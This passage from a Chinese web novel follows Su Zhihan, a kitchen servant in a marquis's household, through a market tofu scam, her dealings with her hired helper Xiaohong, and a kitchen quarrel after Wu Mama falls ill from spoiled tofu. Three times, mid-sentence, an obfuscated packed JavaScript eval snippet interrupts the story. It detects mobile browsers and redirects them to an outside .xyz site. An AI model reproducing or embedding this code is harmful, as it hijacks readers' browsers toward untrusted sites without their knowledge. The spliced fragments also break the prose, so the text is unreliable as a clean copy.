“甭想外面那些生意了，好好在灶房里学手艺。”蒋珍娘前面觉得做生意来钱快，可直到进了三娘子院子才晓得府里的生活和外头生活的区别：“往后三娘子院里小灶房缺人，又或是四姑娘院里要选人了，阿娘也好使使力气，教你也进去。” 苏芷寒闻言，心里说不上什么滋味，她晓得阿娘是好心，光是摆在跟前的这些东西，总价值已超过了他们这些日子贩卖豆干等物赚到的银钱。 更何况蒋珍娘说得没错，外头不知道多少人削尖了脑袋想往侯府门里钻。 要不是蒋珍娘与忠勇侯府曾有一段过往，母女俩自愿卖身也卖不到府里。 瞧瞧蒋珍娘才刚进院子，便得了这么多的赏赐。且不说得势的管事妈妈，背靠主子的势力，在外呼风唤雨，寻常官吏也得给些面子。 而一等二等的丫鬟，他们的日子也远比寻常百姓要好得多，只需努力几年便能攒下足够的银钱，置买房屋，安顿家人。若是能被主子看重，说不定还能成了郎君房里的通房妾室，从此跨越阶级，有个一儿半女，后半生也有了着落。 饶是苏芷寒晓得富贵后面藏着的残酷陷阱，晓得为人奴婢便是将身家性命交予主家之手，全靠赌主家善良，全靠赌主家能一直富贵，可瞧着这般大手笔的赏赐时，也是忍不住心动了一下。 随之而来的，便是不安。 不过是刚进院子的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529512|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养猫养雀的三等仆妇，真能一口气得这么多的赏赐？ 苏芷寒总觉得哪里不对，可又说不出个所以然来，她思来想去，略过蒋珍娘的提议，只细细叮嘱蒋珍娘谨慎再谨慎，做事仔细再仔细。 蒋珍娘虽觉得女儿过于担心，但还是乖乖应下了，过上好日子以后她也尝到甜头，不愿像王婆子那般又被赶去洗衣房做事，还想着拉拉关系，联络感情，回头把寒姐儿也弄去好地方做活。 这边，蒋珍娘在三娘子院里待的如鱼得水；那边，王婆子在洗衣房的日子是肉眼可见的糟糕。 她起初憋着气性，根本不愿去洗衣房做事，怒气冲冲地往下人院而去，准备等儿子回家就要与他说道说道，教他出出主意。 可王婆子刚走到下人院门口，脚步一顿，杵在门口不动了。她想起儿子儿媳前两日的提议，想教她回家看孙子，说让王媳妇进府里做活…… 要是自己回去了，岂不是打了自己的脸，成了媳妇的愿？说不定儿子不但不安慰，而且还得埋怨自己几句。 王婆子手心湿漉漉的，脸色阴晴不定半响。最终她一个转身，低着头，佝偻着背脊，默默往洗衣房的方向去了。 往后几日，王婆子像是换了个人般，日日早早去府里当值，又到晚间才疲惫而归。 饶是王媳妇看婆婆不顺眼，也免不得暗自惊疑，思来想去觉得婆婆怕是被夫妇俩刺激的，担心会被弄回家里，这才像是换了个人般老实做事。 早这般，她也不会起旁的心思。 王媳妇暗暗嘀咕，可想着王婆子不在家烦她也是好事，便没上前嘲讽。可惜她未在府里做工，也未有相处好的人，竟是数日都不知道婆婆被调离三娘子院，时下在洗衣房做事。 而她的丈夫王学荣倒是早早晓得这桩事儿，可那日老娘和媳妇打架的事没少他被人笑话。他不想再闹出事端来，索性闭口不言，假装自己也并不知晓。 王婆子拖着疲惫的身躯回到家里，瞅着蒋家屋子里亮起的烛光，嗅着蒋家屋里淌出的诱人芳香，早已是满心后悔。 早晓得……早晓得…… 她咽下口中的苦水，推开自家的房门的瞬间又变回往日那张扬的模样。 她得撑着一口气，免得被媳妇发现。 这般演戏的日子还不知道得多久，可王婆子希望能越久越好。 且不说王婆子和王学荣如何努力演戏，只为能骗一日便骗一日，那边苏芷寒忙完了大厨房的事，回到家中便把陶罐翻出来洗刷一番，放在墙边晾晒。 眼瞅着这两天天气好，她也准备做些腌菜，晒些咸鱼，后头空时再做些糍粑，备足粮食过冬。 趁这几日大厨房忙完腌菜活后难得空闲，她唤上映红和曹大丫，三人一道去市井上买买要用的食材。 曹大丫是个馋嘴的，走了几步见着摊贩便挪不动腿，扯着两人往那边走：“……咱们吃两个煎夹子再去吧？” 苏芷寒和映红欣然应允，不多时便各自手里捏着个煎夹子。煎夹子类似于炸茄盒，便是选的饱满圆润的长茄子，切成夹刀片后往里填上肉馅，最后外面裹上鸡蛋液，在油锅里煎至两面金黄焦脆。 茄香、蛋香和肉香此起彼伏，最后又渐渐融合成一处，同时又富有层次感，让人吃起来一本满足。 不……曹大丫尚未满足。 反正苏芷寒还未见到自己打算要买的东西，先手里抱着一摞袋子，继煎夹子之后又吃了三四种吃食，此刻嘴里正嚼着酸津津的山楂果子。 就在此刻，走在最前面的曹大丫发出一声惊呼。 跟在后头的苏芷寒和映红脚步一顿，下意识抬眸往四周铺子看去，确定旁边没有小食摊才齐齐松了口气。紧接着，两人又看向曹大丫：“怎么了？” “不会想起什么东西没吃了吧？” “别吧……我都要吃撑了！”映红小脸皱成一团，头一次对吃零嘴产生抗拒。 她下定决心待会要是曹大丫又说要吃什么，她一定要拒绝到底——就算曹大丫说她请客，自己也不吃了！ “不是啦。”曹大丫跺了跺脚，伸手指着不远处巷子口坐着的那人：“就他——上回卖我坏豆腐的，就是那个人。” 苏芷寒闻言，循着曹大丫所指的方向瞅了一眼，只见那边蹲坐着个瘦削老头，他头发花白，满脸苦相，瞧着便是贫苦农户，跟前搁着箩筐，上头摆满了豆腐，正扯着嗓子努力叫卖。 22.帮工小红 乍一看，像是个忠厚老实的乡下人。 映红看了好几眼，将信将疑，她压低声音询问道：“真的假的？你确定是这个人？” 曹大丫气呼呼的：“就是他。” 她瞅着那名看上去满脸苦相，可怜兮兮的老汉，愤愤不平道：“当时有好几个卖豆腐的，我就是看他人年迈，又一副可怜巴巴的模样，而且价格也叫的便宜，这才在他那买的。” 哪晓得这人竟是这么不要脸，把坏掉的豆腐一道放进自个儿的竹篮里。 要不是寒姐儿帮自己圆过去，恐怕自己得在大厨房里出个大糗，说不定头天就得被阿娘领回去。 后头几日，曹大丫出门时还想寻寻那人，可走遍了当时去的市井巷子也没见到骗人的老汉，这才作罢。 没想到，竟是今日让她见着。曹大丫想起自己被娘亲拧着耳朵教训的事，便越想越气，正当她打算上前理论时，便听到前面爆发出的争执声：“好你个不要脸的东西，怎恁的没良心，竟是卖烂豆腐给我！” 苏芷寒三人循声看去，发现与人起争执的正是那老汉。他们顺着看热闹的人潮涌上前去，视线越过人群，见到一名瞧着岁数与她们相仿的女郎。 那女郎红着脸儿，站在老汉跟前：“你瞅瞅，这就是你放的豆腐！” 她把竹篮搁在地上，逐一取出里头的豆腐，除去盖在上面的两层好豆腐以外下面的都是坏豆腐。 曹大丫惊道：“就和我那日一样！” 老汉见状却是连连摇头，一脸惊恐畏缩地瞧着女郎：“不不不，您这是什么话，我卖的都是好豆腐。” “你还敢胡说！”女郎气得眼红，提起竹篮给周遭人看里头的豆腐：“你们瞅瞅！我刚刚就是在他这里买的，这人趁我不注意调包了豆腐，竟是放了这么多坏豆腐进去。” “冤枉啊！冤枉啊！”老汉叫屈不已，还把自己的箩筐打开给周遭人看：“你们看看，你们瞅瞅！我里头放的都是好豆腐啊。” 粗布掀开，下面都是白花花的豆腐。 苏芷寒踮起脚尖，仔细打量放在筐里的豆腐，就和这老汉说的一模一样，筐里的豆腐色泽如玉，分明都是好豆腐。 曹大丫瞪着眼儿：“怎会如此！” 同时惊呼出声的还有那名女郎，她杏眼圆睁：“怎么会！？”，她不信地上前几步，甚至把老汉筐里的豆腐全取出来查看一遍。 “你这小娘子，我好心便宜卖给你，你竟是污蔑我！”老汉一屁股坐在地上，望着满地的豆腐，老泪纵横：“你看看，你看看！现在你把我豆腐都弄出来，我还怎么做生意！这么多的豆腐卖给谁去！？” 女郎没寻到坏豆腐，看傻了眼，闻言脸蛋越发红了：“可我，我明明都是从你这里买的……你莫非是坏豆腐藏在别处？” “你这女郎，怎么这般无礼！” “把老人家的东西摔了，还在这边污蔑人。”旁边摊子的汉子瞧见状况，纷纷插话道。 那几名汉子身量高大，虎背熊腰的，往前一步立在那女郎跟前，登时教那女郎心生怯意，慌得往后退了几步。 老汉见状，哀哀痛呼，哭诉声越发响了。到最后那名女郎别说是把坏豆腐退给老汉，还不得不出钱把剩下的豆腐都买走，甚至还在旁边汉子的控诉中另外赔了老汉几十个铜钱。 随着热闹结束，八卦的人群也四散而开。苏芷寒三人混在人群里往前走，悄声议论着这事，曹大丫直呼不可能，而映红提出一个想法：“莫非那老汉每日就存着几块烂豆腐？一次性都塞给了那女郎？” 不然哪有这般巧合，给了那名女郎以后就没了？ 曹大丫闻言，连连点头。 苏芷寒却有别的看法，她想了想，询问曹大丫道：“那日你买豆腐时，可曾见着旁边那几个摊贩老板？” 曹大丫闻言，先是一愣，她细细回想后便倒吸了一口凉气：“在，在的。” “当时我刚付完钱，正在装豆腐。” “结果旁边的摊贩吵起来了，还撞到了我，我与他们争执几句而后才转身继续装豆腐的。” 映红看向苏芷寒：“寒姐儿，你的意思是……那些人是一伙的？” 苏芷寒的确有这个想法，都是豆腐摊子何必摆在一块儿？而且女郎前面扯老汉的时候不出面，刚提起藏着别处就出面喝止，着实教她生疑。 从曹大丫这里得到肯定答案后，苏芷寒与两人道：“我娘此前与我说过，这些从外头进城来摆摊子的摊贩常会以假充真，故意欺负年轻又不知事的小娘子，教我跑腿时宁去铺里买，实在要在摊贩这买也万万不能走神。” “啊，我也听我娘说过。”映红也想起这茬事来。她刚到灶房做事时，她娘还担心她出门跑腿会上当受骗，拎着她教她跑腿宁可去铺里买贵的，也别贪便宜。 不过等映红进了灶房以后，日日都是洗菜洗碗的活计，几乎没被遣去采买跑腿过，久而久之便把这事忘到九霄云外。 直到苏芷寒提起，她才想到这回事。 曹大丫更不用说，上当受骗的她回去就被曹妈妈拎着耳朵教训了一刻钟，也晓得这事：“……就是我没想到，还有这般的做法，这，这，这也太狡猾了！” 还分开摆摊，装作不认识。 等有人上门吵闹时，他们又假装上前拆劝，最后说得人晕头转向，没退得钱还倒赔几十文。 曹大丫想着那帮人的行径，再想想那个抹着泪走远的小娘子，又是揪心又是气愤，悄声道：“不如咱们去——” “停停停，我可不去报官。”映红打住曹大丫的话语，嘀咕道：“要是被他们晓得是你报的官，往后说不定会在市井堵你哩！” “怎么会……” “怎么不会？且不说这么小的案子，人官府受理不受理。你都瞧见了那几个人高马大的汉子，那拳头都有咱们脑袋大了。”映红远远瞅着那几个汉子，便被他们高壮的体格给惊到。 “我听人说，之前也有人试图报官，结果后头就被那人亲戚朋友给揍了的。”苏芷寒不由地点了点头，附和一句，她甚至不担忧争吵斗殴的事，更担忧这帮闲汉凶恶，后头会起别的心思。 其他不说，在当下时代最可观的良性资产便是女人。苏芷寒见曹大丫将信将疑，悄声道：“不说揍不揍的事，这些闲汉若是堵住咱们，把我们嘴儿一堵，拖出去卖到何处咋办？” “……不会吧？” “怎么不会。”映红见曹大丫吃惊，撇了撇嘴，“不然这么多被人拐子拐走的人去了哪里？” 说是天下各地贩卖奴婢得得到官府应允，签下卖身契。可律法还明文规定不得卖妻典女，不也照旧多的是人偷偷这么做，更有甚者把妻女卖了，还要说她们是与男人跑了，把一盆盆的污水往人身上泼。 曹大丫打了个寒颤，那点当英雄的意气登时消失得干干净净。 三人遇见了这事也没闲逛的心情，买了要用的蔬菜瓜果和江鱼后便回了府里。不过曹大丫和映红不晓得的是，苏芷寒回去搁下东西之后，又再次出府去了。 她在巷道里左拐右拐，不多时便来到一户民居之前。人还未进去，苏芷寒便听到了断断续续的抽泣声，期间一个苍老的声音不时响起，轻声安慰道：“没事没事，咱们下回小心点。” “小红，陈奶奶。”苏芷寒推门而入。 “……寒姐儿来了？”正安慰哭泣之人的老太太抬起头来，见着进门的苏芷寒便露出慈和的笑容。她拍了拍小娘子的肩膀，催促道：“小红，瞧瞧谁来了？” 坐在板凳上的小娘子慢了一拍，她站起身来，低着头揉着眼儿：“苏娘子。” 若是曹大丫和映红在，定然立马会认出这分明就是刚刚与老汉起争执的女郎。 这名叫做小红的年轻女郎，便是苏芷寒上回在牙行介绍下雇佣的人。她比苏芷寒还小两岁，没了爹也没了娘，如今跟着爷爷奶奶过活。 只是两位老人年纪渐长，一个体弱多病常年吃药，一个年迈眼花做不来活，以至于小红不得不去牙行挂了名，想寻个洗衣打杂的活计。 苏芷寒原想要寻个年岁大一点的，可看小红身世可怜，听话老实，加之要价便宜，做事也很利索，便选了她。 小红抽了抽鼻子，用汗巾子把眼泪的泪水擦得干干净净。她抬起头，朝着苏芷寒扬起笑容：“我刚刚路上摔了一跤，这才哭了的，教苏娘子看了笑……” “我刚刚看到了。” “……哎？”小红表情瞬间凝固。 苏芷寒蹙着眉，询问小红：“我不是交代过你，教你豆腐都从早上那位李大伯那买么？你怎么换了个摊子买？” “我不是故意换地方买的。”小红连连摆手，与苏芷寒解释：“李大伯家里人早上才来报信，说是李大伯受了伤，做不来活，得修养小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544224|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半个月才能继续做活。” “我早上才晓得的，怕赶不及中午的生意就换了个摊子买。”小红抹着眼泪，原本出了问题，她应当要等午后告诉苏芷寒，而后按着苏芷寒交代的去办。 可小红舍不得停工，这才起了去别处买豆腐的心思，哪晓得竟是闹出这般的事儿。 还被寒姐儿看个正着。 小红想到这里，心下惶恐，她年纪小又没什么手艺，还要日日回家里照顾爷奶，因此在牙行里挂了名儿许久，都没能寻到合适的活计，顶多去卖花又或是编织铺子里帮过闲，赚了几个铜子。 而给苏娘子卖豆干是难得的好活计，除去每月月钱以外，每卖出十包还有两个钱的提成，另外工作时间也自由，她中途还能回家给爷奶烧饭，清理卫生，比以往做过的活计都要好得多。 小红越想越急，越想越怕，眼泪珠子直往外掉：“苏娘子，我真不是贪便宜跑别家买的，我，我就是看那老汉和爷爷岁数差不多，想起爷爷往日也这般贩卖东西……我，我……” 陈奶奶又是心疼又是担忧，急急帮忙说话：“寒姐儿，小红年纪小不懂事，我已经与她说了往后有事都要与您说一声，不能擅作主张。” 陈奶奶听得这件事，便是心里一咯噔，倒不是为了被骗的事，而是为了小红的擅作主张。 在府里做事也好，在外头干活也好，没经过主人家的同意便擅做主张，是最犯忌讳的事儿。 陈奶奶甚至还有些庆幸，还好今日小红的擅作主张，仅仅是损失了点脸面和银钱，没酿成更大的祸。 她没有露出半点心思，一边观察着苏芷寒的神色，一边缓缓道：“这回买错豆腐的钱，我们会尽数承担的，求您就饶过她这回罢。” 苏芷寒闻言，笑了笑：“不必了，我看大部分都是好豆腐，不好的也只有一小部分而已，就是小红你下回做事要小心谨慎，有什么问题也要先问我，然后再做。” 小红犹豫了下：“可我联系……” 往日都是苏芷寒抽空登门的，她也不晓得去哪里寻人。 苏芷寒想了想，说道：“实在有急事的话，你便去忠勇侯府的后门处，与看门婆子说寻大厨房的寒姐儿。” “他们见着，会帮你传话的。” “……是，是！”小红慢了一拍，傻傻的应了声。 旁边的陈奶奶，瞪圆了眼睛，她听闻孙女寻了这么个轻松活计后，还与老伴猜测过寒姐儿的来历。 如今，来历摆在跟前，却是教陈奶奶不敢相信。要晓得是侯府里人，那还用得着怕那些个地痞流氓—— 苏芷寒仿佛看出陈奶奶心里所想，抬眸平静地注视着她：“我不过是侯府里的一名粗使罢了，在灶房里做点洗菜切菜的活计，并无什么能耐。” 陈奶奶讪讪：“您放心，我晓得的。” 她瞅了眼懵懂无知的小孙女，端正了态度，陈奶奶原本担忧孙女未来，没爹没娘，自己和官人年纪大了，只怕孙女孤苦，就是寻到人家也被人欺负。 她原想教孙女去绣楼学手艺，往后也能养活自己。可那些地方不要什么都不懂的学徒，而愿意收的地儿……陈奶奶还嫌脏。 最后她不得已，只好教孙女去了牙行，巴望着能去好地儿学学手艺，多条出路。 而如今，出路似乎近在眼前。 若是能讨得跟前女郎的欢喜，说不定往后愿意让小红进侯府里做活，那真真是一步登天，再也不用她和官人发愁了。 陈奶奶想到这里，都有些悔了，要晓得能撞上这般的好运，那时哪能让牙人把雇佣的时间往短里写，应该写长点，起码也得三五年才是！ 苏芷寒一眼便瞧出陈奶奶的算盘，可她又不能说侯府三年后就会败落，教人家消了这心思。 至于没有败落以前，像是陈奶奶这般想让女儿孙女进府里做事的，全天下有无数数。 苏芷寒能拦住一个，又能拦住几个？倒是惹了旁人的埋怨。她全装作不知道陈奶奶的小心思，只叮嘱小红明日先停一天，不必去卖豆干。 她从包里取出钱袋，拿出一张交子送到小红手里：“你明日租辆车，去李大伯家里瞧一瞧，问问李大伯是如何受的伤，情况如何。” 小红捏着交子，认认真真的应下。 陈奶奶见状，忙接话道：“苏娘子放心，明日我跟着红姐儿去瞧瞧，保准把事情问个水落石出。” 23.拉肚子的吴妈妈 苏芷寒交代罢，便转身回去了。 她出了门，顺着道走到市井上，看似是悠闲逛街，实则心里想着事儿。 再过两月，便是新年。 等过完新年，那离忠勇侯府抄家之时便只剩下两年半了。 苏芷寒仔细梳理记得的剧情，忠勇侯府是何时被抄家的，书中并没有明确记载。 除去那白绫飘飘的话语外，也只有零星旁观路人的感叹——想大姑娘出嫁时是何等的气派，连皇太后、陛下和皇后娘娘都为其添妆，谁能到这才三年的光景，便彻底败落了！ 到事情落幕，足足三年。 事情发展都是有迹象可循的，而不是一蹴而就的，忠勇侯府是何时牵扯进去的？又何时注定败亡？ 她和阿娘得提早多久脱身，才不会后面被人拿出来翻旧账，借机踩上一脚？ 苏芷寒有意打探，加之这些本就不算机密，甚至映红还担心她见识少，被旁人嘲笑，特意仔细给她科普一番。 且不说仕途出身，又背靠忠勇侯府的三郎仕途顺利，已在兵部库部任六品郎中，如今的忠勇侯爷正驻守边疆，手握兵权，乃是朝廷有数的武将，更可谓是忠勇侯府富贵的底气。 忠勇侯府的所有人都认为有忠勇侯爷在，忠勇侯府这一代只会越来越兴旺。 …… 偏生事与愿违，所有人都不会想到忠勇侯府就是在这鼎盛时骤然消亡，也教苏芷寒越发担忧与惶恐。 手握军权的忠勇侯为何会选择与荣王谋反？还是说他们此刻便有勾连，整场婚事都是利益结合？可从映红话语里，苏芷寒却得知整场婚事并非荣王求婚，而是当今圣人为两者定下的。 单是忠勇侯府的事，苏芷寒都弄不清楚，更何况里面牵扯到看不见也摸不着的圣人。 她想了再想，还是决定把时间再往前提一些，给自己一年半的时间从忠勇侯府里脱身。 时间紧迫，苏芷寒要做的准备也越发多了。趁着蒋珍娘一心扑在三娘子院里，对外头的生意关注渐少，银钱也一概交给苏芷寒自己处理，苏芷寒决定先在外面寻些可用的人手。 而现今，最为熟悉的便是小红一家。 从陈奶奶刚才表示愿意一力承担损失的态度来看，显然是个知事能干的。 不过她年长，见识多，苏芷寒想要拿捏住，只能先扯着忠勇侯府的大旗，另从小红身上下手。 别看苏芷寒刚刚面如寒冰，瞧着不愉，实则对小红的反应怪满意的。 虽然小红鲁莽了些，稍稍缺乏经验了些，但从其遇见李大伯出事，便立马能开始寻觅新货源的行为来看，小红是个行动能力强的，要上进的。 这回她告诉小红和陈奶奶，自己在侯府里做工以后，又给他们一张交子，准备瞧瞧两人会如何做事，也好考虑后头是攒钱买人做事，还是教陈奶奶和小红去办事。 苏芷寒算计着手上的银钱，又抬眸注意周遭市井铺面。就如她当时所想的一般，除去沿街售卖卤汁豆干的，不少市井铺子也开始贩卖。 她买了几家的尝尝，味道不比自家做的差到哪里去，有些量还足些。 苏芷寒想着，若是陈奶奶和小红中用，那她也可以准备换个营生。若是不中用，便让他们继续贩卖卤汁豆干，她再去牙行想看有用之人。 等她琢磨得差不多，人也走到侯府后门处。看门婆子见着苏芷寒，一边热络地打招呼，一边往她手里塞了一把瓜子：“寒姐儿回来了？你尝尝，这是我自己炒的西瓜子，可香了。” “谢谢徐婆婆。”苏芷寒欣然接下。 “你这孩子，跟婆婆客气啥。”看门的徐婆子是粗使，晓得最近府里粗使吃食上的变化都是赖跟前的寒姐儿缘故，知道她是个有能耐的，故而对她热情得很。 还别说，徐婆子做的瓜子味道十足，带着股淡淡的酸梅味，竟是比外头铺子卖的有些西瓜子还好吃。 苏芷寒双眼一亮，惊喜道：“徐婆婆，您这瓜子做的可真厉害，我瞧市井里那间薛家炒货做的西瓜子，还没你这做的好吃！” “瞧你这孩子，嘴真甜！不过你还没说错，以前外头还有人想问我买方子呢，我都没舍得给。” 徐婆子闻言，喜的不行。她把手里的一袋子瓜子都塞到苏芷寒手里：“来来来，喜欢就拿去吃吧。” “我怎么能都拿去……” “哎哎哎都拿去吧……”徐婆子不容推拒，见苏芷寒还要推辞，终是说出自己的心里话：“其实我还有事想教寒姐儿帮忙。” 苏芷寒闻言，问道：“是什么事？” 徐婆子瞅着她的脸色：“就是……那个，我儿马上要过生辰了，要请旁的人吃吃喝喝。” “我想请寒姐儿帮忙做几个菜……当然您放心！请您做菜当然不是免费的，我给您大料钱、菜钱和做菜的钱。”徐婆子生怕苏芷寒以为自己想占便宜，仔细说道：“您看……一百文够不够？” 凡是在府里做事的人，但凡遇见生辰升职等喜事，都得请同僚们喝上一杯，吃上一顿饭。 府里的粗使多是请吴妈妈章妈妈几道菜，通常要给小几百来文。不过吴妈妈和章妈妈也不是次次愿意做，有时事多，有时嫌钱少，还有时就嫌人地位低，不爱给面子。 老大年纪还在看门，儿子也是个粗使的徐婆子便占了后两者。可府里的妈妈不愿意做，就得去外面买，外面的席面便宜的恐人看轻了儿子，贵了徐婆子又吃不消。 最后，她把主意打到苏芷寒身上。 徐婆子心里忐忑，要是苏芷寒不愿意，那她也只好去外面的饭馆问问，花大价钱置办上一桌。 “原是这等事，你要做什么菜？” “寒姐儿愿意！？”徐婆子登时喜上眉梢，急急说道：“就是前日在大厨房做的炖鸡脚，还有那日蒋娘子说起来的卤猪蹄，您看行不行？” 徐婆子早计算好了，有这么两道大菜，她另外给儿子备点素菜就够了。她看着苏芷寒沉思的模样，心里直打鼓。 “没问题。” “那钱——”徐婆子见苏芷寒应下，越发欢喜，她急得想要立马回家拿钱给苏芷寒，却是被苏芷寒拦住：“徐婆婆，您不必急着给我钱，提前一日与我就是。再者，我刚好也有事想请您帮帮忙。” “什么事？你尽管说。” “往后要是有人到您这里打听我的事，您就说我是在灶房里做事的，再多的就别说了。” “就这点事，包在我身上。”徐婆子还以为是多大的事，乐呵呵地拍了拍胸口。 别看徐婆子只是个守门的，可外面来打听消息的平头百姓又能有几个能接触到更知晓事儿，还愿意把事儿吐出来的侯府仆役。 有了徐婆子的话，苏芷寒也放下心事。她与徐婆子约好时间，便回家去把蔬菜瓜果洗刷一番，尽数晾晒出以后便去大厨房上工了。 普一进去，就有数道视线投来。 苏芷寒脚步一顿，抬眸看向那几人——为首的正是吴妈妈的厨婢秋月等人，等对上苏芷寒的视线，她们又齐刷刷地别开头。 苏芷寒心生疑问，走至映红和曹大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558969|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丫身边。她一边帮忙，一边悄声道：“这是怎么了？” 映红表情古怪，没说出话倒笑出声。 而曹大丫的表情也没好到哪里去，她努力憋笑，憋得肩膀一颤一颤，额头都冒出汗来。 好半响曹大丫才止住笑，从牙缝里挤出一句话来：“那个……吴妈妈……拉肚子了。” 见苏芷寒露出疑色，映红忙接话：“刚刚吴妈妈用坏豆腐做了煎豆腐吃，然后拉肚子了。” “从中午到现在，跑了六趟茅厕了。” “就你来之前，吴妈妈刚刚又去茅厕了……这都第七回了！” 曹大丫笑完，又忍不住苦着脸：“寒姐儿，这可怎么办哦？” 她心知肚明，苏芷寒上回扯那坏豆腐能吃就是为了自个。现在闹出吴妈妈吃了拉肚子的事，也不能教寒姐儿一人倒霉。 苏芷寒才晓得缘由，她不以为然：“要怎么办？是吴妈妈自己琢磨的，又不是我害她的。” “再说，那坏豆腐真能吃。” 苏芷寒话语刚刚落地，映红和曹大丫的脸色便变了。紧接着一道熟悉的声音在苏芷寒身后响起，冷若寒冰：“真的——能吃？” 苏芷寒转过身去：“吴妈妈。” 面色青白如鬼的吴妈妈幽幽地盯着她，两眼都快冒出火来，她就是信了鬼了，才会相信寒姐儿的话，真当自己少见多怪，还为了一探究竟把豆腐放坏，然后煎来品尝。 现在光是想起，吴妈妈便觉得反胃不已。她甚至没来得及与苏芷寒再说一句话，便捂着肚子又冲了出去。 这事很快传到了大厨房的许娘子跟前，待到次日她便唤吴妈妈和苏芷寒到跟前来。 她先是将吴妈妈训斥一番，以她昨日耽搁手里的活计，擅自用大厨房做旁的吃食罚了她半月的月钱。 紧接着许娘子又看向苏芷寒：“吴妈妈说是因你胡说八道，硬说坏掉的豆腐还能吃，所以害她昨日腹泻，耽搁了手里的活计，这事是否属实。” 吴妈妈瞅着苏芷寒，两眼都要喷火了，准备瞧瞧这小蹄子还要如何巧舌如簧来解释这件事。 苏芷寒瞟了一眼吴妈妈，道：“回禀许娘子，这件事不属实。” “你，你，你这贱蹄子还敢撒谎！”吴妈妈没有想到苏芷寒到现在还敢撒谎，气得浑身颤颤，怒道。 “吴妈妈，是您误会了。这坏掉的豆腐里有能用的，也有不能用的，不是回回都可以的。” “我看你就是在狡辩！”吴妈妈两眼都快冒出火来，只要稍稍回想一下，那怪异腐败的味道就在舌尖再次泛起，直让她头晕目眩，恨不得厥过去。她面目扭曲，与许娘子说道：“许娘子，我不信！定然是她在撒谎，这丫头撒谎成性，留不得啊！” 曹妈妈在旁听到这里，登时急了，她虽然心里对这件事也有着怀疑，但面上却完全站在苏芷寒那边：“寒姐儿又未让你试过，你在旁偷听方子，还擅自尝试，倒先喊起冤来！” “我瞧你，分明是贼喊抓贼！” “曹瑞香，你什么意思啊你？” “谁反应大，谁便心虚呗。”曹妈妈一手叉腰，一手指着吴妈妈的鼻子。紧接着她又看向许娘子：“分明是最近三等丫鬟仆妇们，频频请我和寒姐儿做吃食，这老货心里含恨，故意使坏！” “谁会嫉妒你们啊？” “谁嚷嚷就是谁——” “停，都给我打住。”许娘子按了按太阳穴，冷着脸止住几人争执。她抬眼打量着苏芷寒，淡淡道：“你的意思是你真会那能吃的坏豆腐？” 24.两头准备 曹妈妈心里一咯噔，登时变了脸色。她刚刚上前拆劝，为的就是把话题从苏芷寒会不会做，转移到吴妈妈偷学不成反而倒打一耙上。 可现在，许娘子的一句话又把事情拉回到最初。曹妈妈手心里渗出汗来，努力维持住表情，同时赶紧用眼神示意苏芷寒别犹豫，立马认错。 现在认错，这事儿也就过去了。 说到底寒姐儿又没开口让吴妈妈做，是吴妈妈自己脑子糊涂，非要去试一试才闹出的事端。 曹妈妈已想好了，按着许娘子的性子估摸也会罚寒姐儿五日……顶多半月的月钱，回头她私底下再把钱补贴给寒姐儿。 正当曹妈妈殷切期盼，吴妈妈怒目而视的时候，苏芷寒点了点头：“娘子，我的确晓得那方子，也能做出来。” 刹那间，大厨房里安静得只能听到柴火的噼啪声，还有那热水沸腾的咕咚声。 曹妈妈的表情瞬间凝固，悄悄拿眼瞅许娘子的神色。她见着许娘子板着脸儿，面上一点怒气都没，非但没高兴，心里还暗暗叫苦。 京城各大豪门士族，都好豢养来自天南地北的庖厨，因着赁金的节节攀升，所以被吸引来的好手数量也是个让人心惊的数字。 忠勇侯府，自然也没逃过这场攀比之风，最高时曾豢养过数十名庖厨，加上他们带来的徒弟仆佣者，那数字可以扩充到数百人。 另外还有三位娘子嫁入侯府时带来的陪房，里面的厨娘也不乏好手。 在这场极为激烈的竞争中，许厨娘笑到最后。虽说时下府里还有专精做馒头的、专精做索饼的、专精做鱼的……但席面置办，每日的吃食准备尽数被许娘子把控。 就比如苏芷寒给三姑娘做了茶糕，可除非三姑娘又或是其他姑娘点名，否则茶糕并不会出现在任何主子的案头，更不用说在主子跟前露露脸。 曹妈妈会与吴妈妈顶嘴，会不搭理章妈妈，可面对许娘子交代下来的事，却是半点反抗的余地都没。 曹妈妈扯出腰间的汗巾子，抹了抹额头冒出的汗，犹豫了又犹豫。 按理说这事儿到这个地步，她也没那个必要出头了，可想着寒姐儿是为大丫才扯谎的，曹妈妈心里又过不了那道坎。 她咬了咬牙，还是上前一步，拦在苏芷寒的跟前。曹妈妈板起脸来，声色俱厉：“你这丫头，此刻还在许娘子跟前充什么厉害？还不赶紧把来龙去脉交代了。” 倒是没精打采的吴妈妈来了精神，重新抖擞起来：“许娘子，您看看……” 许娘子：“闭嘴。” 